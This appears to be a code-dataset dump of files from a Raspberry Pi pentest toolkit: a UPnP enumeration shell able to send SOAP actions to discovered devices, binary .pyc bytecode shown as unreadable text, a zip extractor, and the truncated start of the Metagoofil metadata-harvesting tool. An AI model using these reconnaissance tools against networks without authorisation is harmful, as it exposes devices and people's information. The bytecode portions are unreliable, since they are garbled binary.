"HOST:%s:%d\r\n"\ "ST:%s\r\n" % (hp.ip,hp.port,st) for header,value in hp.msearchHeaders.iteritems(): request += header + ':' + value + "\r\n" request += "\r\n" print "Entering discovery mode for '%s', Ctl+C to stop..." % st print '' #Have to create a new socket since replies will be sent directly to our IP, not the multicast IP server = hp.createNewListener(myip,lport) if server == False: print 'Failed to bind port %d' % lport return hp.send(request,server) while True: try: hp.parseSSDPInfo(hp.listen(1024,server),False,False) except Exception, e: print 'Discover mode halted...' break #Passively listen for UPNP NOTIFY packets def pcap(argc,argv,hp): print 'Entering passive mode, Ctl+C to stop...' print '' while True: try: hp.parseSSDPInfo(hp.listen(1024,False),False,False) except Exception, e: print "Passive mode halted..." break #Manipulate M-SEARCH header values def head(argc,argv,hp): if argc >= 2: action = argv[1] #Show current headers if action == 'show': for header,value in hp.msearchHeaders.iteritems(): print header,':',value return #Delete the specified header elif action == 'del': if argc == 3: header = argv[2] if hp.msearchHeaders.has_key(header): del hp.msearchHeaders[header] print '%s removed from header list' % header return else: print '%s is not in the current header list' % header return #Create/set a headers elif action == 'set': if argc == 4: header = argv[2] value = argv[3] hp.msearchHeaders[header] = value print "Added header: '%s:%s" % (header,value) return showHelp(argv[0]) #Manipulate application settings def seti(argc,argv,hp): if argc >= 2: action = argv[1] if action == 'uniq': hp.UNIQ = toggleVal(hp.UNIQ) print "Show unique hosts set to: %s" % hp.UNIQ return elif action == 'debug': hp.DEBUG = toggleVal(hp.DEBUG) print "Debug mode set to: %s" % hp.DEBUG return elif action == 'verbose': hp.VERBOSE = toggleVal(hp.VERBOSE) print "Verbose mode set to: %s" % hp.VERBOSE return elif action == 'version': if argc == 3: hp.UPNP_VERSION = argv[2] print 'UPNP version set to: %s' % hp.UPNP_VERSION else: showHelp(argv[0]) return elif action == 'iface': if argc == 3: hp.IFACE = argv[2] print 'Interface set to %s, re-binding sockets...' % hp.IFACE if hp.initSockets(hp.ip,hp.port,hp.IFACE): print 'Interface change successful!' else: print 'Failed to bind new interface - are you sure you have root privilages??' hp.IFACE = None return elif action == 'socket': if argc == 3: try: (ip,port) = argv[2].split(':') port = int(port) hp.ip = ip hp.port = port hp.cleanup() if hp.initSockets(ip,port,hp.IFACE) == False: print "Setting new socket %s:%d failed!" % (ip,port) else: print "Using new socket: %s:%d" % (ip,port) except Exception, e: print 'Caught exception setting new socket:',e return elif action == 'show': print 'Multicast IP: ',hp.ip print 'Multicast Port: ',hp.port print 'Network Interface: ',hp.IFACE print 'Number of known hosts: ',len(hp.ENUM_HOSTS) print 'UPNP Version: ',hp.UPNP_VERSION print 'Debug mode: ',hp.DEBUG print 'Verbose mode: ',hp.VERBOSE print 'Show only unique hosts:',hp.UNIQ print 'Using log file: ',hp.LOG_FILE return showHelp(argv[0]) return #Host command. It's kind of big. def host(argc,argv,hp): indexList = [] indexError = "Host index out of range. Try the 'host list' command to get a list of known hosts" if argc >= 2: action = argv[1] if action == 'list': if len(hp.ENUM_HOSTS) == 0: print "No known hosts - try running the 'msearch' or 'pcap' commands" return for index,hostInfo in hp.ENUM_HOSTS.iteritems(): print "\t[%d] %s" % (index,hostInfo['name']) return elif action == 'details': hostInfo = False if argc == 3: try: index = int(argv[2]) except Exception, e: print indexError return if index < 0 or index >= len(hp.ENUM_HOSTS): print indexError return hostInfo = hp.ENUM_HOSTS[index] try: #If this host data is already complete, just display it if hostInfo['dataComplete'] == True: hp.showCompleteHostInfo(index,False) else: print "Can't show host info because I don't have it. Please run 'host get %d'" % index except KeyboardInterrupt, e: pass return elif action == 'summary': if argc == 3: try: index = int(argv[2]) hostInfo = hp.ENUM_HOSTS[index] except: print indexError return print 'Host:',hostInfo['name'] print 'XML File:',hostInfo['xmlFile'] for deviceName,deviceData in hostInfo['deviceList'].iteritems(): print deviceName for k,v in deviceData.iteritems(): try: v.has_key(False) except: print "\t%s: %s" % (k,v) print '' return elif action == 'info': output = hp.ENUM_HOSTS dataStructs = [] for arg in argv[2:]: try: arg = int(arg) except: pass output = output[arg] try: for k,v in output.iteritems(): try: v.has_key(False) dataStructs.append(k) except: print k,':',v continue except: print output for struct in dataStructs: print struct,': {}' return elif action == 'get': hostInfo = False if argc == 3: try: index = int(argv[2]) except: print indexError return if index < 0 or index >= len(hp.ENUM_HOSTS): print "Host index out of range. Try the 'host list' command to get a list of known hosts" return else: hostInfo = hp.ENUM_HOSTS[index] #If this host data is already complete, just display it if hostInfo['dataComplete'] == True: print 'Data for this host has already been enumerated!' return try: #Get extended device and service information if hostInfo != False: print "Requesting device and service info for %s (this could take a few seconds)..." % hostInfo['name'] print '' if hostInfo['dataComplete'] == False: (xmlHeaders,xmlData) = hp.getXML(hostInfo['xmlFile']) if xmlData == False: print 'Failed to request host XML file:',hostInfo['xmlFile'] return if hp.getHostInfo(xmlData,xmlHeaders,index) == False: print "Failed to get device/service info for %s..." % hostInfo['name'] return print 'Host data enumeration complete!' hp.updateCmdCompleter(hp.ENUM_HOSTS) return except KeyboardInterrupt, e: return elif action == 'send': #Send SOAP requests index = False inArgCounter = 0 if argc != 6: showHelp(argv[0]) return else: try: index = int(argv[2]) except: print indexError return deviceName = argv[3] serviceName = argv[4] actionName = argv[5] hostInfo = hp.ENUM_HOSTS[index] actionArgs = False sendArgs = {} retTags = [] controlURL = False fullServiceName = False #Get the service control URL and full service name try: controlURL = hostInfo['proto'] + hostInfo['name'] controlURL2 = hostInfo['deviceList'][deviceName]['services'][serviceName]['controlURL'] if not controlURL.endswith('/') and not controlURL2.startswith('/'): controlURL += '/' controlURL += controlURL2 except Exception,e: print 'Caught exception:',e print "Are you sure you've run 'host get %d' and specified the correct service name?" % index return False #Get action info try: actionArgs = hostInfo['deviceList'][deviceName]['services'][serviceName]['actions'][actionName]['arguments'] fullServiceName = hostInfo['deviceList'][deviceName]['services'][serviceName]['fullName'] except Exception,e: print 'Caught exception:',e print "Are you sure you've specified the correct action?" return False for argName,argVals in actionArgs.iteritems(): actionStateVar = argVals['relatedStateVariable'] stateVar = hostInfo['deviceList'][deviceName]['services'][serviceName]['serviceStateVariables'][actionStateVar] if argVals['direction'].lower() == 'in': print "Required argument:" print "\tArgument Name: ",argName print "\tData Type: ",stateVar['dataType'] if stateVar.has_key('allowedValueList'): print "\tAllowed Values:",stateVar['allowedValueList'] if stateVar.has_key('allowedValueRange'): print "\tValue Min: ",stateVar['allowedValueRange'][0] print "\tValue Max: ",stateVar['allowedValueRange'][1] if stateVar.has_key('defaultValue'): print "\tDefault Value: ",stateVar['defaultValue'] prompt = "\tSet %s value to: " % argName try: #Get user input for the argument value (argc,argv) = getUserInput(hp,prompt) if argv == None: print 'Stopping send request...' return uInput = '' if argc > 0: inArgCounter += 1 for val in argv: uInput += val + ' ' uInput = uInput.strip() if stateVar['dataType'] == 'bin.base64' and uInput: uInput = base64.encodestring(uInput) sendArgs[argName] = (uInput.strip(),stateVar['dataType']) except KeyboardInterrupt: return print '' else: retTags.append((argName,stateVar['dataType'])) #Remove the above inputs from the command history while inArgCounter: readline.remove_history_item(readline.get_current_history_length()-1) inArgCounter -= 1 #print 'Requesting',controlURL soapResponse = hp.sendSOAP(hostInfo['name'],fullServiceName,controlURL,actionName,sendArgs) if soapResponse != False: #It's easier to just parse this ourselves... for (tag,dataType) in retTags: tagValue = hp.extractSingleTag(soapResponse,tag) if dataType == 'bin.base64' and tagValue != None: tagValue = base64.decodestring(tagValue) print tag,':',tagValue return showHelp(argv[0]) return #Save data def save(argc,argv,hp): suffix = '%s_%s.mir' uniqName = '' saveType = '' fnameIndex = 3 if argc >= 2: if argv[1] == 'help': showHelp(argv[0]) return elif argv[1] == 'data': saveType = 'struct' if argc == 3: index = argv[2] else: index = 'data' elif argv[1] == 'info': saveType = 'info' fnameIndex = 4 if argc >= 3: try: index = int(argv[2]) except Exception, e: print 'Host index is not a number!' showHelp(argv[0]) return else: showHelp(argv[0]) return if argc == fnameIndex: uniqName = argv[fnameIndex-1] else: uniqName = index else: showHelp(argv[0]) return fileName = suffix % (saveType,uniqName) if os.path.exists(fileName): print "File '%s' already exists! Please try again..." % fileName return if saveType == 'struct': try: fp = open(fileName,'w') pickle.dump(hp.ENUM_HOSTS,fp) fp.close() print "Host data saved to '%s'" % fileName except Exception, e: print 'Caught exception saving host data:',e elif saveType == 'info': try: fp = open(fileName,'w') hp.showCompleteHostInfo(index,fp) fp.close() print "Host info for '%s' saved to '%s'" % (hp.ENUM_HOSTS[index]['name'],fileName) except Exception, e: print 'Failed to save host info:',e return else: showHelp(argv[0]) return #Load data def load(argc,argv,hp): if argc == 2 and argv[1] != 'help': loadFile = argv[1] try: fp = open(loadFile,'r') hp.ENUM_HOSTS = {} hp.ENUM_HOSTS = pickle.load(fp) fp.close() hp.updateCmdCompleter(hp.ENUM_HOSTS) print 'Host data restored:' print '' host(2,['host','list'],hp) return except Exception, e: print 'Caught exception while restoring host data:',e showHelp(argv[0]) #Open log file def log(argc,argv,hp): if argc == 2: logFile = argv[1] try: fp = open(logFile,'a') except Exception, e: print 'Failed to open %s for logging: %s' % (logFile,e) return try: hp.LOG_FILE = fp ts = [] for x in time.localtime(): ts.append(x) theTime = "%d-%d-%d, %d:%d:%d" % (ts[0],ts[1],ts[2],ts[3],ts[4],ts[5]) hp.LOG_FILE.write("\n### Logging started at: %s ###\n" % theTime) except Exception, e: print "Cannot write to file '%s': %s" % (logFile,e) hp.LOG_FILE = False return print "Commands will be logged to: '%s'" % logFile return showHelp(argv[0]) #Show help def help(argc,argv,hp): showHelp(False) #Debug, disabled by default def debug(argc,argv,hp): command = '' if hp.DEBUG == False: print 'Debug is disabled! To enable, try the seti command...' return if argc == 1: showHelp(argv[0]) else: for cmd in argv[1:]: command += cmd + ' ' command = command.strip() print eval(command) return #Quit! def exit(argc,argv,hp): quit(argc,argv,hp) #Quit! def quit(argc,argv,hp): if argc == 2 and argv[1] == 'help': showHelp(argv[0]) return print 'Bye!' print '' hp.cleanup() sys.exit(0) ################ End Action Functions ###################### #Show command help def showHelp(command): #Detailed help info for each command helpInfo = { 'help' : { 'longListing': 'Description:\n'\ '\tLists available commands and command descriptions\n\n'\ 'Usage:\n'\ '\t%s\n'\ '\t<command> help', 'quickView': 'Show program help' }, 'quit' : { 'longListing' : 'Description:\n'\ '\tQuits the interactive shell\n\n'\ 'Usage:\n'\ '\t%s', 'quickView' : 'Exit this shell' }, 'exit' : { 'longListing' : 'Description:\n'\ '\tExits the interactive shell\n\n'\ 'Usage:\n'\ '\t%s', 'quickView' : 'Exit this shell' }, 'save' : { 'longListing' : 'Description:\n'\ '\tSaves current host information to disk.\n\n'\ 'Usage:\n'\ '\t%s <data | info <host#>> [file prefix]\n'\ "\tSpecifying 'data' will save the raw host data to a file suitable for importing later via 'load'\n"\ "\tSpecifying 'info' will save data for the specified host in a human-readable format\n"\ "\tSpecifying a file prefix will save files in for format of 'struct_[prefix].mir' and info_[prefix].mir\n\n"\ 'Example:\n'\ '\t> save data wrt54g\n'\ '\t> save info 0 wrt54g\n\n'\ 'Notes:\n'\ "\to Data files are saved as 'struct_[prefix].mir'; info files are saved as 'info_[prefix].mir.'\n"\ "\to If no prefix is specified, the host index number will be used for the prefix.\n"\ "\to The data saved by the 'save info' command is the same as the output of the 'host details' command.", 'quickView' : 'Save current host data to file' }, 'seti' : { 'longListing' : 'Description:\n'\ '\tAllows you to view and edit application settings.\n\n'\ 'Usage:\n'\ '\t%s <show | uniq | debug | verbose | version <version #> | iface <interface> | socket <ip:port> >\n'\ "\t'show' displays the current program settings\n"\ "\t'uniq' toggles the show-only-uniq-hosts setting when discovering UPNP devices\n"\ "\t'debug' toggles debug mode\n"\ "\t'verbose' toggles verbose mode\n"\ "\t'version' changes the UPNP version used\n"\ "\t'iface' changes the network interface in use\n"\ "\t'socket' re-sets the multicast IP address and port number used for UPNP discovery\n\n"\ 'Example:\n'\ '\t> seti socket 239.255.255.250:1900\n'\ '\t> seti uniq\n\n'\ 'Notes:\n'\ "\tIf given no options, 'seti' will display the current application settings", 'quickView' : 'Show/define application settings' }, 'head' : { 'longListing' : 'Description:\n'\ '\tAllows you to view, set, add and delete the SSDP header values used in SSDP transactions\n\n'\ 'Usage:\n'\ '\t%s <show | del <header> | set <header> <value>>\n'\ "\t'set' allows you to set SSDP headers used when sending M-SEARCH queries with the 'msearch' command\n"\ "\t'del' deletes a current header from the list\n"\ "\t'show' displays all current header info\n\n"\ 'Example:\n'\ '\t> head show\n'\ '\t> head set MX 3', 'quickView' : 'Show/define SSDP headers' }, 'host' : { 'longListing' : 'Description:\n'\ "\tAllows you to query host information and iteract with a host's actions/services.\n\n"\ 'Usage:\n'\ '\t%s <list | get | info | summary | details | send> [host index #]\n'\ "\t'list' displays an index of all known UPNP hosts along with their respective index numbers\n"\ "\t'get' gets detailed information about the specified host\n"\ "\t'details' gets and displays detailed information about the specified host\n"\ "\t'summary' displays a short summary describing the specified host\n"\ "\t'info' allows you to enumerate all elements of the hosts object\n"\ "\t'send' allows you to send SOAP requests to devices and services *\n\n"\ 'Example:\n'\ '\t> host list\n'\ '\t> host get 0\n'\ '\t> host summary 0\n'\ '\t> host info 0 deviceList\n'\ '\t> host send 0 <device name> <service name> <action name>\n\n'\ 'Notes:\n'\ "\to All host commands support full tab completion of enumerated arguments\n"\ "\to All host commands EXCEPT for the 'host send', 'host info' and 'host list' commands take only one argument: the host index number.\n"\ "\to The host index number can be obtained by running 'host list', which takes no futher arguments.\n"\ "\to The 'host send' command requires that you also specify the host's device name, service name, and action name that you wish to send,\n\t in that order (see the last example in the Example section of this output). This information can be obtained by viewing the\n\t 'host details' listing, or by querying the host information via the 'host info' command.\n"\ "\to The 'host info' command allows you to selectively enumerate the host information data structure. All data elements and their\n\t corresponding values are displayed; a value of '{}' indicates that the element is a sub-structure that can be further enumerated\n\t (see the 'host info' example in the Example section of this output).", 'quickView' : 'View and send host list and host information' }, 'pcap' : { 'longListing' : 'Description:\n'\ '\tPassively listens for SSDP NOTIFY messages from UPNP devices\n\n'\ 'Usage:\n'\ '\t%s', 'quickView' : 'Passively listen for UPNP hosts' }, 'msearch' : { 'longListing' : 'Description:\n'\ '\tActively searches for UPNP hosts using M-SEARCH queries\n\n'\ 'Usage:\n'\ "\t%s [device | service] [<device name> | <service name>]\n"\ "\tIf no arguments are specified, 'msearch' searches for upnp:rootdevices\n"\ "\tSpecific device/services types can be searched for using the 'device' or 'service' arguments\n\n"\ 'Example:\n'\ '\t> msearch\n'\ '\t> msearch service WANIPConnection\n'\ '\t> msearch device InternetGatewayDevice', 'quickView' : 'Actively locate UPNP hosts' }, 'load' : { 'longListing' : 'Description:\n'\ "\tLoads host data from a struct file previously saved with the 'save data' command\n\n"\ 'Usage:\n'\ '\t%s <file name>', 'quickView' : 'Restore previous host data from file' }, 'log' : { 'longListing' : 'Description:\n'\ '\tLogs user-supplied commands to a log file\n\n'\ 'Usage:\n'\ '\t%s <log file name>', 'quickView' : 'Logs user-supplied commands to a log file' } } try: print helpInfo[command]['longListing'] % command except: for command,cmdHelp in helpInfo.iteritems(): print "%s\t\t%s" % (command,cmdHelp['quickView']) #Display usage def usage(): print ''' Command line usage: %s [OPTIONS] -s <struct file> Load previous host data from struct file -l <log file> Log user-supplied commands to log file -i <interface> Specify the name of the interface to use (Linux only, requires root) -u Disable show-uniq-hosts-only option -d Enable debug mode -v Enable verbose mode -h Show help ''' % sys.argv[0] sys.exit(1) #Check command line options def parseCliOpts(argc,argv,hp): try: opts,args = getopt.getopt(argv[1:],'s:l:i:udvh') except getopt.GetoptError, e: print 'Usage Error:',e usage() else: for (opt,arg) in opts: if opt == '-s': print '' load(2,['load',arg],hp) print '' elif opt == '-l': print '' log(2,['log',arg],hp) print '' elif opt == '-u': hp.UNIQ = toggleVal(hp.UNIQ) elif opt == '-d': hp.DEBUG = toggleVal(hp.DEBUG) print 'Debug mode enabled!' elif opt == '-v': hp.VERBOSE = toggleVal(hp.VERBOSE) print 'Verbose mode enabled!' elif opt == '-h': usage() elif opt == '-i': networkInterfaces = [] requestedInterface = arg interfaceName = None found = False #Get a list of network interfaces. This only works on unix boxes. try: if thisSystem() != 'Windows': fp = open('/proc/net/dev','r') for line in fp.readlines(): if ':' in line: interfaceName = line.split(':')[0].strip() if interfaceName == requestedInterface: found = True break else: networkInterfaces.append(line.split(':')[0].strip()) fp.close() else: networkInterfaces.append('Run ipconfig to get a list of available network interfaces!') except Exception,e: print 'Error opening file:',e print "If you aren't running Linux, this file may not exist!" if not found and len(networkInterfaces) > 0: print "Failed to find interface '%s'; try one of these:\n" % requestedInterface for iface in networkInterfaces: print iface print '' sys.exit(1) else: if not hp.initSockets(False,False,interfaceName): print 'Binding to interface %s failed; are you sure you have root privilages??' % interfaceName #Toggle boolean values def toggleVal(val): if val: return False else: return True #Prompt for user input def getUserInput(hp,shellPrompt): defaultShellPrompt = 'upnp> ' if shellPrompt == False: shellPrompt = defaultShellPrompt try: uInput = raw_input(shellPrompt).strip() argv = uInput.split() argc = len(argv) except KeyboardInterrupt, e: print '\n' if shellPrompt == defaultShellPrompt: quit(0,[],hp) return (0,None) if hp.LOG_FILE != False: try: hp.LOG_FILE.write("%s\n" % uInput) except: print 'Failed to log data to log file!' return (argc,argv) #Main def main(argc,argv): #Table of valid commands - all primary commands must have an associated function appCommands = { 'help' : { 'help' : None }, 'quit' : { 'help' : None }, 'exit' : { 'help' : None }, 'save' : { 'data' : None, 'info' : None, 'help' : None }, 'load' : { 'help' : None }, 'seti' : { 'uniq' : None, 'socket' : None, 'show' : None, 'iface' : None, 'debug' : None, 'version' : None, 'verbose' : None, 'help' : None }, 'head' : { 'set' : None, 'show' : None, 'del' : None, 'help': None }, 'host' : { 'list' : None, 'info' : None, 'get' : None, 'details' : None, 'send' : None, 'summary' : None, 'help' : None }, 'pcap' : { 'help' : None }, 'msearch' : { 'device' : None, 'service' : None, 'help' : None }, 'log' : { 'help' : None }, 'debug': { 'command' : None, 'help' : None } } #The load command should auto complete on the contents of the current directory for file in os.listdir(os.getcwd()): appCommands['load'][file] = None #Initialize upnp class hp = upnp(False,False,None,appCommands); #Set up tab completion and command history readline.parse_and_bind("tab: complete") readline.set_completer(hp.completer.complete) #Set some default values hp.UNIQ = True hp.VERBOSE = False action = False funPtr = False #Check command line options parseCliOpts(argc,argv,hp) #Main loop while True: #Drop user into shell (argc,argv) = getUserInput(hp,False) if argc == 0: continue action = argv[0] funcPtr = False print '' #Parse actions try: if appCommands.has_key(action): funcPtr = eval(action) except: funcPtr = False action = False if callable(funcPtr): if argc == 2 and argv[1] == 'help': showHelp(argv[0]) else: try: funcPtr(argc,argv,hp) except KeyboardInterrupt: print 'Action interrupted by user...' print '' continue print 'Invalid command. Valid commands are:' print '' showHelp(False) print '' if __name__ == "__main__": try: main(len(sys.argv),sys.argv) except Exception, e: print 'Caught main exception:',e sys.exit(1)
51,446
Python
.py
1,524
28.774278
370
0.662714
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,438
processor.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/processor.pyc
Ñò Î ÈMc@sdZddd„ƒYZdS(sR This class will sort the results and create unique list of soft, users and paths t processorcBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCs(||_g|_g|_g|_dS(N(tlistt unique_userst unique_softt unique_paths(tselfR((s3/pentest/enumeration/google/metagoofil/processor.pyt__init__s   cCs]xV|iD]K}|dGH|dgjo |dGHn|dgjo |dGHq q WdS(Niii(R(Rtx((s3/pentest/enumeration/google/metagoofil/processor.pyt print_all s   cCsrxh|iD]]}|dgjoFxC|dD]3}|ii|ƒdjoq,|ii|ƒq,Wq q W|iS(Nii(RRtcounttappend(RRty((s3/pentest/enumeration/google/metagoofil/processor.pyt sort_userss  cCsrxh|iD]]}|dgjoFxC|dD]3}|ii|ƒdjoq,|ii|ƒq,Wq q W|iS(Nii(RRR R (RRR ((s3/pentest/enumeration/google/metagoofil/processor.pyt sort_softwares  cCsrxh|iD]]}|dgjoFxC|dD]3}|ii|ƒdjoq,|ii|ƒq,Wq q W|iS(Nii(RRR R (RRR ((s3/pentest/enumeration/google/metagoofil/processor.pyt sort_paths(s  (t__name__t __module__RRR R R(((s3/pentest/enumeration/google/metagoofil/processor.pyRs    N((t__doc__R(((s3/pentest/enumeration/google/metagoofil/processor.pyt<module>s
1,963
Python
.py
23
84.217391
445
0.395157
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,439
unzip.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/unzip.py
""" unzip.py Version: 1.1 Extract a zipfile to the directory provided It first creates the directory structure to house the files then it extracts the files to it. Sample usage: command line unzip.py -p 10 -z c:\testfile.zip -o c:\testoutput python class import unzip un = unzip.unzip() un.extract(r'c:\testfile.zip', 'c:\testoutput') By Doug Tolton """ import sys import zipfile import os import os.path import getopt class unzip: def __init__(self, verbose = False, percent = 10): self.verbose = False self.percent = percent def extract(self, file, dir): if not dir.endswith(':') and not os.path.exists(dir): os.mkdir(dir) zf = zipfile.ZipFile(file) # create directory structure to house files self._createstructure(file, dir) num_files = len(zf.namelist()) percent = self.percent divisions = 100 / percent perc = int(num_files / divisions) # extract files to directory structure for i, name in enumerate(zf.namelist()): if self.verbose == True: print "Extracting %s" % name elif perc > 0 and (i % perc) == 0 and i > 0: complete = int (i / perc) * percent #print "%s%% complete" % complete if not name.endswith('/'): outfile = open(os.path.join(dir, name), 'wb') outfile.write(zf.read(name)) outfile.flush() outfile.close() def _createstructure(self, file, dir): self._makedirs(self._listdirs(file), dir) def _makedirs(self, directories, basedir): """ Create any directories that don't currently exist """ for dir in directories: curdir = os.path.join(basedir, dir) if not os.path.exists(curdir): os.mkdir(curdir) #print("dir-->"+str(curdir)) def _listdirs(self, file): """ Grabs all the directories in the zip structure This is necessary to create the structure before trying to extract the file to it. """ zf = zipfile.ZipFile(file) dirs = [] #print str(zf.namelist()) for name in zf.namelist(): dirsname = name.split("/") ant="" for dirname in dirsname[:-1]: dirs.append(ant+dirname) #print "anadiendo:"+(ant+dirname) ant=ant+dirname+"/" dirs.sort() return dirs def usage(): print """usage: unzip.py -z <zipfile> -o <targetdir> <zipfile> is the source zipfile to extract <targetdir> is the target destination -z zipfile to extract -o target location -p sets the percentage notification -v sets the extraction to verbose (overrides -p) long options also work: --verbose --percent=10 --zipfile=<zipfile> --outdir=<targetdir>""" def main(): shortargs = 'vhp:z:o:' longargs = ['verbose', 'help', 'percent=', 'zipfile=', 'outdir='] unzipper = unzip() try: opts, args = getopt.getopt(sys.argv[1:], shortargs, longargs) except getopt.GetoptError: usage() sys.exit(2) zipsource = "" zipdest = "" for o, a in opts: if o in ("-v", "--verbose"): unzipper.verbose = True if o in ("-p", "--percent"): if not unzipper.verbose == True: unzipper.percent = int(a) if o in ("-z", "--zipfile"): zipsource = a if o in ("-o", "--outdir"): zipdest = a if o in ("-h", "--help"): usage() sys.exit() if zipsource == "" or zipdest == "": usage() sys.exit() unzipper.extract(zipsource, zipdest) if __name__ == '__main__': main()
3,848
Python
.py
112
25.848214
69
0.573061
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,440
unzip.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/unzip.pyc
Ñò Î ÈMc@sƒdZddkZddkZddkZddkZddkZddd„ƒYZd„Zd„Ze djo eƒndS( s� unzip.py Version: 1.1 Extract a zipfile to the directory provided It first creates the directory structure to house the files then it extracts the files to it. Sample usage: command line unzip.py -p 10 -z c: estfile.zip -o c: estoutput python class import unzip un = unzip.unzip() un.extract(r'c: estfile.zip', 'c: estoutput') By Doug Tolton iÿÿÿÿNtunzipcBs;eZedd„Zd„Zd„Zd„Zd„ZRS(i cCst|_||_dS(N(tFalsetverbosetpercent(tselfRR((s//pentest/enumeration/google/metagoofil/unzip.pyt__init__s c Csm|idƒ o%tii|ƒ oti|ƒnti|ƒ}|i||ƒt|i ƒƒ}|i }d|}t ||ƒ}xÜt |i ƒƒD]È\}} |i tjo d| GHnD|djo6||djo%|djot ||ƒ|} n| idƒpLttii|| ƒdƒ} | i|i| ƒƒ| iƒ| iƒq�q�WdS(Nt:ids Extracting %sit/twb(tendswithtostpathtexiststmkdirtzipfiletZipFilet_createstructuretlentnamelistRtintt enumerateRtTruetopentjointwritetreadtflushtclose( Rtfiletdirtzft num_filesRt divisionstperctitnametcompletetoutfile((s//pentest/enumeration/google/metagoofil/unzip.pytextract s&%    + cCs|i|i|ƒ|ƒdS(N(t _makedirst _listdirs(RRR((s//pentest/enumeration/google/metagoofil/unzip.pyR>scCsNxG|D]?}tii||ƒ}tii|ƒpti|ƒqqWdS(s3 Create any directories that don't currently exist N(R R RR R (Rt directoriestbasedirRtcurdir((s//pentest/enumeration/google/metagoofil/unzip.pyR'Bs cCsƒti|ƒ}g}x]|iƒD]O}|idƒ}d}x1|d D]%}|i||ƒ||d}qHWq"W|iƒ|S(s“ Grabs all the directories in the zip structure This is necessary to create the structure before trying to extract the file to it. Rtiÿÿÿÿ(RRRtsplittappendtsort(RRRtdirsR#tdirsnametanttdirname((s//pentest/enumeration/google/metagoofil/unzip.pyR(Js   (t__name__t __module__RRR&RR'R((((s//pentest/enumeration/google/metagoofil/unzip.pyRs    cCs dGHdS(Ns€usage: unzip.py -z <zipfile> -o <targetdir> <zipfile> is the source zipfile to extract <targetdir> is the target destination -z zipfile to extract -o target location -p sets the percentage notification -v sets the extraction to verbose (overrides -p) long options also work: --verbose --percent=10 --zipfile=<zipfile> --outdir=<targetdir>((((s//pentest/enumeration/google/metagoofil/unzip.pytusage^sc Cs{d}dddddg}tƒ}y&titid||ƒ\}}Wn*tij otƒtidƒnXd }d }x²|D]ª\}}|djo t|_n|djo'|itjpt |ƒ|_ qän|djo |}n|djo |}n|djotƒtiƒqŠqŠW|d jp |d jotƒtiƒn|i ||ƒdS(Nsvhp:z:o:Rthelpspercent=szipfile=soutdir=iiR,s-vs --verboses-ps --percents-zs --zipfiles-os--outdirs-hs--help(s-vs --verbose(s-ps --percent(s-zs --zipfile(s-os--outdir(s-hs--help( Rtgetopttsystargvt GetoptErrorR6texitRRRRR&( t shortargstlongargstunzippertoptstargst zipsourcetzipdesttota((s//pentest/enumeration/google/metagoofil/unzip.pytmainos8 &         t__main__(( t__doc__R9RR tos.pathR8RR6RFR4(((s//pentest/enumeration/google/metagoofil/unzip.pyt<module>s     C  #
4,750
Python
.py
46
99.673913
742
0.441841
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,441
metagoofil.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/metagoofil.py
from discovery import googlesearch from extractors import * import urllib import os import downloader import processor import sys import getopt import markup import warnings warnings.filterwarnings("ignore") # To prevent errors from hachoir deprecated functions, need to fix. print "\n*************************************" print "* Metagoofil Ver 2.0 - Reborn *" print "* Christian Martorella *" print "* Edge-Security.com *" print "* cmartorella_at_edge-security.com *" print "* BACKTRACK 5 Edition!! *" print "*************************************" def usage(): print "Metagoofil 2.0:\n" print "Usage: metagoofil options\n" print " -d: domain to search" print " -t: filetype to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)" print " -l: limit of results to search (default 200)" print " -h: work with documents in directory (use \"yes\" for local analysis)" print " -n: limit of files to download" print " -o: working directory" print " -f: output file\n" print "Examples:" print " metagoofil.py -d microsoft.com -t doc,pdf -l 200 -n 50 -o microsoftfiles -f results.html" print " metagoofil.py -h yes -o microsoftfiles -f results.html (local dir analysis)\n" sys.exit() global limit,filelimit,start,password,all,localanalysis,dir limit=100 filelimit=50 start=0 password="" all=[] dir="test" def writehtml(users,softs,paths,allinfo,fname,dir): page = markup.page() page.init (title="Metagoofil Results",css=('edge.css'),footer="Edge-security 2011") page.h2("Metagoofil results") page.h3("User names found:") page.ul( class_="userslist") page.li( users, class_="useritem") page.ul.close( ) page.h3("Software versions found:") page.ul( class_="softlist") page.li(softs, class_="softitem") page.ul.close( ) page.h3("Servers and paths found:") if paths!=[]: page.ul( class_="pathslist") page.li(paths, class_="pathitem") page.ul.close( ) page.h3("Files analyzed:") page.ul( class_="files") for x in allinfo: page.li(x[0], class_="file") page.ul.close() page.h2("Files and metadata found:") for x in allinfo: page.h3(x[0]) page.a("Local copy", class_="link", href=dir+"/"+x[0]) page.pre(style="background:#C11B17;border:1px solid;") page.pre(x[1]) page.pre(x[3]) page.pre.close() file = open(fname,'w') for x in page.content: try: file.write(x) except: #print "Exception" + x # send to logs pass file.close return "ok" def doprocess(argv): localanalysis= "no" if len(sys.argv) < 3: usage() try: opts,args = getopt.getopt(argv,"l:d:f:h:n:t:o:") except getopt.GetoptError: usage() for opt,arg in opts: if opt == '-d': word = arg elif opt == '-t': filetypes=[] if arg.count(",") != 0: filetypes = arg.split(",") else: filetypes.append(arg) print filetypes elif opt == '-l': limit = int(arg) elif opt == '-h': localanalysis=arg elif opt == '-n': filelimit = int(arg) elif opt == '-o': dir = arg elif opt == '-f': outhtml = arg if os.path.exists(dir): pass else: os.mkdir(dir) if localanalysis == "no": print "[-] Starting online search..." for filetype in filetypes: print "\n[-] Searching for "+filetype+ " files, with a limit of " + str(limit) search=googlesearch.search_google(word,limit,start,filetype) search.process_files() files=search.get_files() print "Results: " + str(len(files)) + " files found" print "Starting to download "+ str(filelimit) + " of them.." print "----------------------------------------------------\n" counter=0 for x in files: if counter <= filelimit: print "["+str(counter)+"/"+str(filelimit)+"] " + x getfile=downloader.downloader(x,dir) getfile.down() filename=getfile.name() if filename !="": if filetype == "pdf": 